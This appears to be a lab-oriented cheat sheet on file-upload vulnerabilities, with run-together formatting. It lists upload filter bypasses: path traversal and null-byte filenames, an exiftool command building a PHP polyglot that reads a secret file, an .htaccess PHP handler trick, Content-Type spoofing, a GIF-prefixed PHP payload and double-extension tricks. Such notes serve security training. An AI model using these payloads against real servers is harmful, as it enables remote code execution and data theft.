File Upload
Upload the file name and include obfuscated path traversal
..%2fexploit.phpand retrieve the contentGET /files/avatars/..%2fexploit.php.Upload a file named,
exploit.php%00.jpgwith trailing null byte character and get the file execution at/files/avatars/exploit.php.Create polygot using valid image file, by running the command in bash terminal:
exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" ./stickman.png -o polyglot2023.php. Once polygot is uploaded, view the extracted data by issuing a GET request to the uploaded path/files/avatars/polyglot.php, and search the response content for the phraseSTARTto obtain the sensitive data.Upload two different files. First upload
.htaccesswith Content-Type:text/plain, and the file data value set toAddType application/x-httpd-php .l33t. This will allow the upload and execute of second file upload named,exploit.l33twith extensionl33t.MIME type
image/jpegorimage/pngis only allowed. Bypass the filter by specifyingContent-Typeto value ofimage/jpegand then uploadingexploit.phpfile.If target allow Remote File Include (RFI), upload from remote URL, then host and exploit file with the following GIF magic bytes:
GIF89a; <?php echo file_get_contents('/home/carlos/secret'); ?>. The file name on exploit server could readimage.php%00.gif.Double file extension bypass filter
exploit.csv.php.
File extension bypass:
Extension with varied capitalization, such as .
sVGDouble extension, such as
.jpg.svgor.svg.jpgExtension with a delimiter, such as
%0a, %09, %0d, %00, #. Other examples,file.png%00.svgorfile.png\x0d\x0a.svgEmpty filename,
.svgTry to cut allowed extension with more than the maximum filename length.
XSS when svg upload
Last updated